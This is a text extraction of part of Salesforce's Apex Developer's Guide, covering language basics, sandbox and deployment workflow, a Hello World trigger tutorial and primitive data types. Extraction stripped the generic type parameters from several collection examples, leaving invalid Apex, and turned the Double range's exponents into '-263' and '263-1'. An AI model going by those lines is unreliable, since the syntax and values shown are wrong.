• Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
• Winter ’07 Release Notes
• Summer ’06 Release Notes
• Winter ’06 Release Notes
• Force.com Mobile 6.0 Release Notes
• Summer ’05 Release Notes
• Winter ’05 Release Notes
• Summer ’04 Release Notes
• Spring ’04 Release Notes
• Winter ’04 Release Notes
6
Introducing Apex
Understanding Apex Core Concepts
Understanding Apex Core Concepts
Apex code typically contains many things that you might be familiar with from other programming languages:
Programming elements in Apex
The section describes the basic functionality of Apex, as well as some of the core concepts.
Using Version Settings
In the Salesforce user interface you can specify a version of the Salesforce API against which to save your Apex class or trigger. This setting
indicates not only the version of SOAP API to use, but which version of Apex as well. You can change the version after saving. Every class
or trigger name must be unique. You cannot save the same class or trigger against different versions.
You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your
organization from AppExchange. This version of the managed package will continue to be used by the class or trigger if later versions
of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the
settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that
is not already associated with the class or trigger.
7
Introducing Apex
Understanding Apex Core Concepts
For more information about using version settings with managed packages, see “About Package Versions” in the Salesforce online help.
Naming Variables, Methods and Classes
You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are part of
Apex and the Force.com platform, such as list, test, or account, as well as reserved keywords.
Using Variables and Expressions
Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include
basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects.
Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values
later. Use the following syntax when declaring variables:
datatype variable_name [ = value];
Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.
The following are examples of variable declarations:
// The following variable has the data type of Integer with the name Count,
// and has the value of 0.
Integer Count = 0;
// The following variable has the data type of Decimal with the name Total. Note
// that no value has been assigned to it.
Decimal Total;
// The following variable is an account, which is also referred to as an sObject.
Account MyAcct = new Account();
In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This fact means that when the method
returns, the passed-in argument still references the same object as before the method call and can't be changed to point to another
object. However, the values of the object's fields can be changed in the method.
Using Statements
A statement is any coded instruction that performs an action.
In Apex, statements must end with a semicolon and can be one of the following types:
• Assignment, such as assigning a value to a variable
• Conditional (if-else)
• Loops:
– Do-while
– While
– For
• Locking
• Data Manipulation Language (DML)
8
Introducing Apex
Understanding Apex Core Concepts
• Transaction Control
• Method Invoking
• Exception Handling
A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement
would be allowed. For example:
if (true) {
System.debug(1);
System.debug(2);
} else {
System.debug(3);
System.debug(4);
}
In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true)
System.debug(1);
else
System.debug(2);
Using Collections
Apex has the following types of collections:
• Lists (arrays)
• Maps
• Sets
A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is
important. You can have duplicate elements in a list.
The first index position in a list is always 0.
To create a list:
• Use the new keyword
• Use the List keyword followed by the element type contained within <> characters.
Use the following syntax for creating a list:
List list_name
[= new List();] |
[=new List{value [, value2. . .]};] |
;
The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed,
you must declare the data type of My_List as a list of Integer.
List My_List = new List();
For more information, see Lists on page 30.
A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so on. It can
also contain more complex data types, such as sObjects.
9
Introducing Apex
Understanding Apex Core Concepts
To create a set:
• Use the new keyword
• Use the Set keyword followed by the primitive data type contained within <> characters
Use the following syntax for creating a set:
Set set_name
[= new Set();] |
[= new Set{value [, value2. . .] };] |
;
The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set My_String = new Set{'a', 'b', 'c'};
For more information, see Sets on page 33.
A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects
and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must
be unique.
To create a map:
• Use the new keyword
• Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters.
Use the following syntax for creating a map:
Map map_name
[=new map();] |
[=new map
{key1_value => value1_value
[, key2_value => value2_value. . .]};] |
;
The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for
the map are being passed in between the curly braces {} as the map is being created.
Map My_Map = new Map{1 => 'a', 2 => 'b', 3 => 'c'};
For more information, see Maps on page 33.
Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as
follows:
if (Condition){
// Do this if the condition is true
} else {
// Do this if the condition is not true
}
For more information, see Conditional (If-Else) Statements on page 50.
10
Introducing Apex
Understanding Apex Core Concepts
Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing
again and again based on a condition. Apex supports the following types of loops:
• Do-while
• While
• For
A Do-while loop checks the condition after the code has executed.
A While loop checks the condition at the start, before the code executes.
A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For loops where
you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
For more information, see Loops on page 50.
11
CHAPTER 2
In this chapter ...
•
What is the Apex
Development
Process?
•
Create a Developer
or Sandbox Org
•
Learning Apex
•
Writing Apex Using
Development
Environments
•
Writing Tests
•
Deploying Apex to a
Sandbox
Organization
•
Deploying Apex to a
Salesforce Production
Organization
•
Adding Apex Code to
a Force.com
AppExchange App
Apex Development Process
In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to
use to develop Apex. You’ll also learn about testing and deploying Apex code.
12
Apex Development Process
What is the Apex Development Process?
What is the Apex Development Process?
We recommend the following process for developing Apex:
1. Obtain a Developer Edition account.
2. Learn more about Apex.
3. Write your Apex.
4. While writing Apex, you should also be writing tests.
5. Optionally deploy your Apex to a sandbox organization and do final unit tests.
6. Deploy your Apex to your Salesforce production organization.
In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a Force.com AppExchange
App package.
Create a Developer or Sandbox Org
You can run Apex in a:
• developer org—An org created with a Developer Edition account
• production org—An org that has live users accessing your data
• sandbox org—An org created on your production org that is a copy of your production org
Note: Apex triggers are available in the Trial Edition of Salesforce. However, they are disabled when you convert to any other
edition. If your newly signed-up org includes Apex, deploy your code to your org using one of the deployment methods.
You can't develop Apex in your Salesforce production org. Live users accessing the system while you're developing can destabilize your
data or corrupt your application. Instead, do all your development work in either a sandbox or a Developer Edition org.
If you aren't already a member of the developer community, go to http://developer.salesforce.com/signup and
follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer
Edition org. Even if you already have a Professional, Enterprise, Unlimited, or Performance Edition org and a sandbox for creating Apex,
we strongly recommend that you take advantage of the resources available in the developer community.
Note: You can’t modify Apex using the Salesforce user interface in a Salesforce production org.
To create a sandbox org:
1. From Setup, enter Sandboxes in the Quick Find box, then select Sandboxes.
2. Click New Sandbox.
3. Enter a name (10 characters or fewer) and description for the sandbox.
We recommend that you choose a name that:
• Reflects the purpose of this sandbox, such as QA.
• Has only a few characters, because Salesforce appends the sandbox name to usernames on user records in the sandbox
environment. Names with fewer characters make sandbox logins easier to type.
4. Select the type of sandbox you want.
If you don’t see a sandbox option or need licenses for more, contact Salesforce to order sandboxes for your org.
13
Apex Development Process
Learning Apex
If you reduce the number of sandboxes you purchase, you are required to match the number of your sandboxes to the number you
purchased. For example, if you have two Full sandboxes but purchased only one, you can’t create a Full sandbox. Instead, convert
a Full sandbox to a smaller one, such as a Developer Pro or Developer sandbox, depending on which types you have available.
5. Select the data to include in your Partial Copy or Full sandbox.
• For a Partial Copy sandbox, click Next, and then select the template you created to specify the data for your sandbox. If you have
not created a template for this Partial Copy sandbox, see Create or Edit Sandbox Templates.
• For a Full sandbox click Next, and then decide how much data to include.
– To include template-based data for a Full sandbox, select an existing sandbox template. For more information, see Create
or Edit Sandbox Templates
– To include all data in a Full sandbox, choose whether and how much field tracking history data to include, and whether to
copy Chatter data. You can copy from 0 to 180 days of history, in 30-day increments. The default is 0 days. Chatter data
includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly speed sandbox
copy time.
6. To run scripts after each create and refresh for this sandbox, specify the Apex class you previously created from the SandboxPostCopy
interface.
7. Click Create.
Tip: Try to limit changes in your production org while the sandbox copy proceeds.
Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex:
Force.com Workbook: Get Started Building Your First App in the Cloud
Beginning programmers
A set of ten 30-minute tutorials that introduce various Force.com platform features. The Force.com Workbook tutorials are centered
around building a very simple warehouse management system. You'll start developing the application from the bottom up; that is,
you'll first build a database model for keeping track of merchandise. You'll continue by adding business logic: validation rules to
ensure that there is enough stock, workflow to update inventory when something is sold, approvals to send email notifications for
large invoice values, and trigger logic to update the prices in open invoices. Once the database and business logic are complete,
you'll create a user interface to display a product inventory to staff, a public website to display a product catalog, and then the start
of a simple store front. If you'd like to develop offline and integrate with the app, we've added a final tutorial to use Adobe Flash
Builder for Force.com.
Force.com Workbook: HTML | PDF
Salesforce Developers Apex Page
Beginning and advanced programmers
The Apex page on Salesforce Developers has links to several resources including articles about the Apex programming language.
These resources provide a quick introduction to Apex and include best practices for Apex development.
Force.com Cookbook
Beginning and advanced programmers
This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating Visualforce pages.
The Force.com Cookbook helps developers become familiar with common Force.com programming techniques and best practices.
You can read and comment on existing recipes, or submit your own recipes, at http://developer.force.com/cookbook.
14
Apex Development Process
Writing Apex Using Development Environments
Development Life Cycle: Enterprise Development on the Force.com Platform
Architects and advanced programmers
Whether you are an architect, administrator, developer, or manager, the Development Lifecycle Guide prepares you to undertake the
development and release of complex applications on the Force.com platform.
Training Courses
Training classes are also available from Salesforce Training & Certification. You can find a complete list of courses at the Training &
Certification site.
In This Book (Apex Developer's Guide)
Beginning programmers should look at the following:
• Introducing Apex, and in particular:
– Documentation Conventions
– Core Concepts
– Quick Start Tutorial
• Classes, Objects, and Interfaces
• Testing Apex
• Execution Governors and Limits
In addition to the above, advanced programmers should look at:
• Trigger and Bulk Request Best Practices
• Advanced Apex Programming Example
• Understanding Apex Describe Information
• Asynchronous Execution (@future Annotation)
• Batch Apex and Apex Scheduler
Writing Apex Using Development Environments
There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com IDE allow
you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and doesn’t support
debugging. These different tools are described in the next sections.
Force.com Developer Console
The Developer Console is an integrated development environment with a collection of tools you can use to create, debug, and test
applications in your Salesforce organization.
The Developer Console supports these tasks:
• Writing code—You can add code using the source code editor. Also, you can browse packages in your organization.
• Compiling code—When you save a trigger or class, the code is automatically compiled. Any compilation errors will be reported.
• Debugging—You can view debug logs and set checkpoints that aid in debugging.
• Testing—You can execute tests of specific test classes or all tests in your organization, and you can view test results. Also, you can
inspect code coverage.
• Checking performance—You can inspect debug logs to locate performance bottlenecks.
• SOQL queries—You can query data in your organization and view the results using the Query Editor.
15
Apex Development Process
Writing Tests
• Color coding and autocomplete—The source code editor uses a color scheme for easier readability of code elements and provides
autocompletion for class and method names.
Force.com IDE
The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com
applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development,
including source code editors, test execution tools, wizards and integrated help. This tool includes basic color-coding, outline view,
integrated unit testing, and auto-compilation on save with error message display. See the website for information about installation and
usage.
Note: The Force.com IDE is a free resource provided by Salesforce to support its users and partners but isn't considered part of
our services for purposes of the Salesforce Master Subscription Agreement.
Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the SOAP API includes methods for compiling
triggers and classes, and executing test methods, while the Metadata API includes methods for deploying code to production
environments. For more information, see Deploying Apex on page 591 and SOAP API and SOAP Headers for Apex on page 2743.
Code Editor in the Salesforce User Interface
The Salesforce user interface. All classes and triggers are compiled when they are saved, and any syntax errors are flagged. You cannot
save your code until it compiles without errors. The Salesforce user interface also numbers the lines in the code, and uses color coding
to distinguish different elements, such as comments, keywords, literal strings, and so on.
• For a trigger on an object, from the object’s management settings, go to Triggers, click New, and then enter your code in the Body
text box.
• For a class, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes. Click New, and then enter
your code in the Body text box.
Note: You can’t modify Apex using the Salesforce user interface in a Salesforce production org.
Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your application,
or use one of the API calls to deploy it.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend
that you use a test-driven development process, that is, test development that occurs at the same time as code development.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition.
Also, test methods must be defined in test classes, that is, classes annotated with isTest.
In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true.
• At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
16
Apex Development Process
Deploying Apex to a Sandbox Organization
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug are not counted as part of Apex code coverage.
– Test methods and test classes are not counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered.
Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well
as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
• Every trigger must have some test coverage.
• All classes and triggers must compile successfully.
For more information on writing tests, see Testing Apex on page 556.
Deploying Apex to a Sandbox Organization
Sandboxes create copies of your Salesforce org in separate environments. Use them for development, testing, and training, without
compromising the data and applications in your production org. Sandboxes are isolated from your production org, so operations that
you perform in your sandboxes don’t affect your production org.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization.
A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of
classes, or a namespace.
Salesforce includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can implement
your own deployment code.
Note: The Force.com IDE and the Force.com Migration Tool are free resources provided by Salesforce to support its users and
partners, but aren't considered part of our services for purposes of the SalesforceMaster Subscription Agreement.
For more information, see Using the Force.com Migration Tool and Deploying Apex.
Deploying Apex to a Salesforce Production Organization
After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to
your Salesforce production organization.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
Also, you can deploy Apex through change sets in the Salesforce user interface.
For more information and for additional deployment options, see Deploying Apex on page 591.
Adding Apex Code to a Force.com AppExchange App
You can also include an Apex class or trigger in an app that you are creating for AppExchange.
Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have some test
coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, tests
with the@isTest(OnInstall=true) annotation run when the package is installed in the installer's organization. You can specify
17
Apex Development Process
Adding Apex Code to a Force.com AppExchange App
which tests should run during package install by annotating them with @isTest(OnInstall=true). This subset of tests must
pass for the package install to succeed.
In addition, Salesforce recommends that any AppExchange package that contains Apex be a managed package.
For more information, see the Force.com Quick Reference for Developing Packages. For more information about Apex in managed packages,
see “What is a Package?” in the Salesforce online help.
Note: Packaging Apex classes that contain references to custom labels which have translations: To include the translations in the
package, enable the Translation Workbench and explicitly package the individual languages used in the translated custom labels.
See “Custom Labels” in the Salesforce online help.
18
CHAPTER 3
Apex Quick Start
Once you have a Developer Edition or sandbox organization, you may want to learn some of the core concepts of Apex. Because Apex
is very similar to Java, you may recognize much of the functionality.
After reviewing the basics, you are ready to write your first Apex program—a very simple class, trigger, and unit test.
In addition, there is a more complex Shipping Invoice example that you can also walk through. This example illustrates many more
features of the language.
Note: The Hello World sample requires custom objects. You can either create these on your own, or download the objects and
Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the Apex
Tutorials Package. This package also contains sample code and objects for the Shipping Invoice example.
Writing Your First Apex Class and Trigger
This step-by-step tutorial shows how to create a simple Apex class and trigger. It also shows how to deploy these components to a
production organization.
This tutorial is based on a custom object called Book that is created in the first step. This custom object is updated through a trigger.
IN THIS SECTION:
1. Create a Custom Object
2. Adding an Apex Class
3. Add an Apex Trigger
4. Add a Test Class
5. Deploying Components to Production
Create a Custom Object
Prerequisites:
A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
For more information about creating a sandbox org, see “Sandbox Types and Templates” in the Salesforce Help. To sign up for a free
Developer org, see the Developer Edition Environment Sign Up Page.
In this step, you create a custom object called Book with one custom field called Price.
1. Log in to your sandbox or Developer org.
2. From your management settings for custom objects, if you’re using Salesforce Classic, click New Custom Object, or if you’re using
Lightning Experience, select Create > Custom Object.
3. Enter Book for the label.
19
Apex Quick Start
Adding an Apex Class
4. Enter Books for the plural label.
5. Click Save.
Ta dah! You’ve now created your first custom object. Now let’s create a custom field.
6. In the Custom Fields & Relationships section of the Book detail page, click New.
7. Select Number for the data type and click Next.
8. Enter Price for the field label.
9. Enter 16 in the length text box.
10. Enter 2 in the decimal places text box, and click Next.
11. Click Next to accept the default values for field-level security.
12. Click Save.
You’ve just created a custom object called Book, and added a custom field to that custom object. Custom objects already have some
standard fields, like Name and CreatedBy, and allow you to add other fields that are more specific to your implementation. For this
tutorial, the Price field is part of our Book object and it is accessed by the Apex class you will write in the next step.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Adding an Apex Class
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The Book custom object.
In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you will
be adding in the next step.
1. From Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, enter this class definition:
public class MyHelloWorld {
}
The previous code is the class definition to which you will be adding one method in the next step. Apex code is generally contained
in classes. This class is defined as public, which means the class is available to other Apex classes and triggers. For more information,
see Classes, Objects, and Interfaces on page 54.
3. Add this method definition between the class opening and closing brackets.
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
This method is called applyDiscount, and it is both public and static. Because it is a static method, you don't need to create
an instance of the class to access the method—you can just use the name of the class followed by a dot (.) and the name of the
method. For more information, see Static and Instance Methods, Variables, and Initialization Code on page 61.
20
Apex Quick Start
Add an Apex Trigger
This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the object
name Book__c. This indicates that it is a custom object that you created. Standard objects that are provided in the Salesforce
application, such as Account, don't end with this postfix.
The next section of code contains the rest of the method definition:
for (Book__c b :books){
b.Price__c *= 0.9;
}
Notice the __c after the field name Price__c. This indicates it is a custom field that you created. Standard fields that are provided
by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name doesn't end
with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c, multiplies it
by 0.9, which means its value will be discounted by 10%, and then stores the new value into the b.Price__c field. The *=
operator is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See Understanding
Expression Operators on page 40.
4. Click Save to save the new class. You should now have this full class definition.
public class MyHelloWorld {
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
}
You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This code is
part of the applyDiscount static method called by the trigger that you will create in the next step.
Add an Apex Trigger
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The MyHelloWorld Apex class.
In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Force.com
platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All
triggers run in bulk; that is, they process several records at once.
1. From the object management settings for books, go to Triggers, and then click New.
2. In the trigger editor, delete the default template code and enter this trigger definition:
trigger HelloWorldTrigger on Book__c (before insert) {
Book__c[] books = Trigger.new;
MyHelloWorld.applyDiscount(books);
}
21
Apex Quick Start
Add a Test Class
The first line of code defines the trigger:
trigger HelloWorldTrigger on Book__c (before insert) {
It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this
trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into the database.
The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context variable
called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and provide access
to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that are about to be inserted.
Book__c[] books = Trigger.new;
The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new books.
MyHelloWorld.applyDiscount(books);
You now have all the code that is needed to update the price of all books that get inserted. However, there is still one piece of the puzzle
missing. Unit tests are an important part of writing code and are required. In the next step, you will see why this is so and you will be
able to add a test class.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Add a Test Class
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The HelloWorldTrigger Apex trigger.
In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises and
validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
Note: Testing is an important part of the development process. Before you can deploy Apex or package it for the Force.com
AppExchange, the following must be true.
• At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug are not counted as part of Apex code coverage.
– Test methods and test classes are not counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
• Every trigger must have some test coverage.
• All classes and triggers must compile successfully.
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes and click New.
22
Apex Quick Start
Add a Test Class
2. In the class editor, add this test class definition, and then click Save.
@isTest
private class HelloWorldTestClass {
static testMethod void validateHelloWorld() {
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
}
}
This class is defined using the @isTest annotation. Classes defined as such can only contain test methods. One advantage to
creating a separate class for testing is that classes defined with isTest don’t count against your org’s limit of 3 MB of Apex code.
You can also add the @isTest annotation to individual methods. For more information, see IsTest Annotation on page 88
and Execution Governors and Limits.
The method validateHelloWorld is defined as a testMethod. This annotation means that if changes are made to the
database, they are rolled back when execution completes. You don’t have to delete any test data created in the test method.
First, the test method creates a book and inserts it into the database temporarily. The System.debug statement writes the value
of the price in the debug log.
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
After the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it
was inserted. The System.debug statement then logs the new price that the trigger modified.
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following test verifies
that the method applyDiscount ran and produced the expected result.
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
3. To run this test and view code coverage information, switch to the Developer Console.
4. In the Developer Console, click Test > New Run.
5. To select your test class, click HelloWorldTestClass.
6. To add all methods in the HelloWorldTestClass class to the test run, click Add Selected.
7. Click Run.
23
Apex Quick Start
Deploying Components to Production
The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run.
In this case, the class contains only one test method.
8. The Overall Code Coverage pane shows the code coverage of this test class. To view the percentage of lines of code in the trigger
covered by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Because the trigger calls a method
from the MyHelloWorld class, this class also has coverage (100%). To view the class coverage, double-click MyHelloWorld.
9. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including
logging information about the trigger event, the call to the applyDiscount method, and the price before and after the trigger.
By now, you have completed all the steps necessary for writing some Apex code with a test that runs in your development environment.
In the real world, after you’ve tested your code and are satisfied with it, you want to deploy the code and any prerequisite components
to a production org. The next step shows you how to do this deployment for the code and custom object you’ve created.
SEE ALSO:
Salesforce Help: Open the Developer Console
Deploying Components to Production
Prerequisites:
• A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization.
• The HelloWorldTestClass Apex test class.
• A deployment connection between the sandbox and production organizations that allows inbound change sets to be received by
the production organization. See “Change Sets” in the Salesforce online help.
• “Create and Upload Change Sets” user permission to create, edit, or upload outbound change sets.
In this step, you deploy the Apex code and the custom object you created previously to your production organization using change
sets.
This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited, Enterprise,
or Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment methods. For more
information, see Deploying Apex.
1. From Setup, enter Outbound Changesets in the Quick Find box, then select Outbound Changesets.
2. If a splash page appears, click Continue.
3. In the Change Sets list, click New.
4. Enter a name for your change set, for example, HelloWorldChangeSet, and optionally a description. Click Save.
5. In the Change Set Components section, click Add.
6. Select Apex Class from the component type drop-down list, then select the MyHelloWorld and the HelloWorldTestClass classes from
the list and click Add to Change Set.
7. Click View/Add Dependencies to add the dependent components.
8. Select the top checkbox to select all components. Click Add To Change Set.
9. In the Change Set Detail section of the change set page, click Upload.
10. Select the target organization, in this case production, and click Upload.
11. After the change set upload completes, deploy it in your production organization.
a. Log into your production organization.
b. From Setup, enter Inbound Change Sets in the Quick Find box, then select Inbound Change Sets.
24
Apex Quick Start
Deploying Components to Production
c. If a splash page appears, click Continue.
d. In the change sets awaiting deployment list, click your change set's name.
e. Click Deploy.
In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned
how to test your code, and how to upload the code and the custom object using Change Sets.
25
WRITING APEX
CHAPTER 4
In this chapter ...
•
Data Types
•
Primitive Data Types
•
Collections
•
Enums
•
Variables
•
Constants
•
Expressions and
Operators
•
Assignment
Statements
•
Understanding Rules
of Conversion
Data Types and Variables
In this chapter you’ll learn about data types and variables in Apex. You’ll also learn about related language
constructs—enums, constants, expressions, operators, and assignment statements.
26
Data Types and Variables
Data Types
Data Types
In Apex, all variables and expressions have a data type that is one of the following:
• A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 27)
• An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see sObject
Types on page 112 in Chapter 4.)
• A collection, including:
– A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page
30)
– A set of primitives (see Sets on page 33)
– A map from a primitive to a primitive, sObject, or collection (see Maps on page 33)
• A typed list of values, also known as an enum (see Enums on page 35)
• Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 54)
• Objects created from system supplied Apex classes
• Null (for the null constant, which can be assigned to any variable)
Methods can return values of any of the listed types, or return no value and be of type Void.
Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned
a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of
the error. For more information, see Debugging Apex on page 522.
Primitive Data Types
Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value.
All Apex variables, whether they’re class member variables or method variables, are initialized to null. Make sure that you initialize
your variables to appropriate values before using them. For example, initialize a Boolean variable to false.
Apex primitive data types include:
Data Type
Description
Blob
A collection of binary data stored as a single object. You can convert this data type to String or from
String using the toString and valueOf methods, respectively. Blobs can be accepted as Web
service arguments, stored in a document (the body of a document is a Blob), or sent as attachments.
For more information, see Crypto Class.
Boolean
A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;
Date
A value that indicates a particular day. Unlike Datetime values, Date values contain no information
about time. Date values must always be created with a system static method.
You can add or subtract an Integer value from a Date value, returning a Date value. Addition and
subtraction of Integer values are the only arithmetic functions that work with Date values. You can’t
perform arithmetic functions that include two or more Date values. Instead, use the Date methods.
27
Data Types and Variables
Primitive Data Types
Data Type
Description
Datetime
A value that indicates a particular day and time, such as a timestamp. Datetime values must always
be created with a system static method.
You can add or subtract an Integer or Double value from a Datetime value, returning a Date value.
Addition and subtraction of Integer and Double values are the only arithmetic functions that work
with Datetime values. You can’t perform arithmetic functions that include two or more Datetime
values. Instead, use the Datetime methods.
Decimal
A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields
are automatically assigned the type Decimal.
If you do not explicitly set the number of decimal places for a Decimal, the item from which the
Decimal is created determines the Decimal’s scale. Scale is a count of decimal places. Use the
setScale method to set a Decimal’s scale.
• If the Decimal is created as part of a query, the scale is based on the scale of the field returned
from the query.
• If the Decimal is created from a String, the scale is the number of characters after the decimal
point of the String.
• If the Decimal is created from a non-decimal number, the number is first converted to a String.
Scale is then set using the number of characters after the decimal point.
Double
A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum
value of 263-1. For example:
Double d=3.14159;
Scientific notation (e) for Doubles is not supported.
ID
Any valid 18-character Force.com record identifier. For example:
ID id='00300000003T2PGAA0';
If you set ID to a 15-character value, Apex converts the value to its 18-character representation. All
